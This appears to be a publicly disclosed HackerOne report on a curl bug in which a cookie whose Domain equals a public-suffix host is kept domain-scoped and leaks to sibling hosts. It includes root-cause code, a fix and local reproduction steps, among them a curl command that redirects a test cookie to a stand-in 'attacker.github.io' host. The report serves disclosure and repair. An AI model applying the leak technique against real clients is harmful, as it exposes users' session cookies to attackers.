HexBrain

curl · Report #3972385

CVE-2026-82209: domain-scoped PSL domain cookie

Validstatus
15upvotes
3 Sept 2026disclosed

How it was found

Summary

When libpsl is enabled and a response host is itself a public suffix (e.g. github.io), a Set-Cookie header whose Domain attribute exactly equals that host is accepted by psl_is_cookie_domain_acceptable() but stored with tailmatch = TRUE. RFC 6265 §5.3 requires this exact-match case to produce a host-only cookie. Because curl keeps it domain-scoped, the cookie is sent to any sibling host (e.g. attacker.github.io) on a subsequent request or redirect.

Affected versions

The vulnerable code path exists in at least curl 8.21.0 (latest GA release) and the current 8.22.0-DEV tree. The parse_domain() logic has been unchanged across many prior releases. libpsl must be enabled at build time (--with-libpsl), which most distribution packages do.

Root cause

In lib/cookie.c, parse_domain() unconditionally sets co->tailmatch = TRUE for every explicit non-IP Domain attribute (line ~512):

if(!is_ip)
  co->tailmatch = TRUE;

Later, is_public_suffix() calls psl_is_cookie_domain_acceptable(psl, "github.io", "github.io"). libpsl intentionally returns "acceptable" for exact equality — the caller is expected to handle the host-only conversion. curl never does.

When Curl_cookie_getlist() builds the outgoing Cookie header, it calls cookie_tailmatch("github.io", 9, "attacker.github.io") which returns TRUE (suffix match with a preceding .), so the cookie leaks.

Reproduction

  1. Build curl at commit c2676bf9e639e31e44b12a2cc82cf2046231b056 (or any version from 8.21.0 onward) on a 64-bit Linux or macOS host, ensuring libpsl is enabled (--with-libpsl or -DCURL_USE_LIBPSL=ON). Confirm the build includes libpsl by checking that curl --version output contains libpsl.

  2. Start a local HTTP server on port 8080 that serves two endpoints:

/set-domain — responds with 302, sets Set-Cookie: sid=SECRET; Domain=github.io; Path=/, and redirects to http://attacker.github.io:8080/sink. /sink — responds with 200 and echoes back the received Cookie header value in the response body.

  1. Map the test hostnames to localhost using curl's --resolve flag:

github.io:8080:127.0.0.1 attacker.github.io:8080:127.0.0.1

  1. Run the vulnerable request — make a request to http://github.io:8080/set-domain with redirect following enabled (-L) and a cookie jar (-c /tmp/domain.jar):
curl -sS -L --noproxy '*' \
  --resolve github.io:8080:127.0.0.1 \
  --resolve attacker.github.io:8080:127.0.0.1 \
  -c /tmp/domain.jar \
  http://github.io:8080/set-domain
  1. Observe the response body — it will contain sid=SECRET, proving the cookie was sent to attacker.github.io (the redirect target), a sibling host under the same public suffix.

  2. Inspect the cookie jar — the entry for the domain cookie will show .github.io with the subdomain-match flag set to TRUE, confirming it was incorrectly stored as domain-scoped.

  3. Run a negative control — repeat the same flow but have the server set the cookie without an explicit Domain attribute (i.e., Set-Cookie: sid=HOST_ONLY; Path=/). The redirect target at attacker.github.io will receive <none> — the cookie is correctly not sent. The cookie jar will show github.io with subdomain-match FALSE (host-only).

  4. Run a second negative control — issue the same Domain=github.io cookie from a sibling host (tenant.github.io) instead of the apex. Curl correctly rejects it — the cookie jar will be empty and nothing is sent to the redirect target.

Suggested fix

After psl_is_cookie_domain_acceptable() accepts exact equality between the request host and a public-suffix cookie domain, clear tailmatch so the cookie becomes host-only. Non-exact public-suffix Domain attempts should continue to be rejected. Concretely, after the PSL acceptance in Curl_cookie_add(), add:

if(co->tailmatch && domain && co->domain &&
   curl_strequal(co->domain, domain) &&
   psl_is_public_suffix(psl, lcookie))
  co->tailmatch = FALSE;

Impact

Summary:

An attacker controlling a sibling host under a public suffix (trivial on hosting platforms like GitHub Pages, Heroku, Netlify) can receive cookies that the public-suffix apex issued with an explicit Domain matching itself. The attacker cannot plant the cookie — exploitation requires the apex to issue such a cookie and the curl client to subsequently contact the attacker sibling. The PSL boundary that libpsl is intended to enforce is violated.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original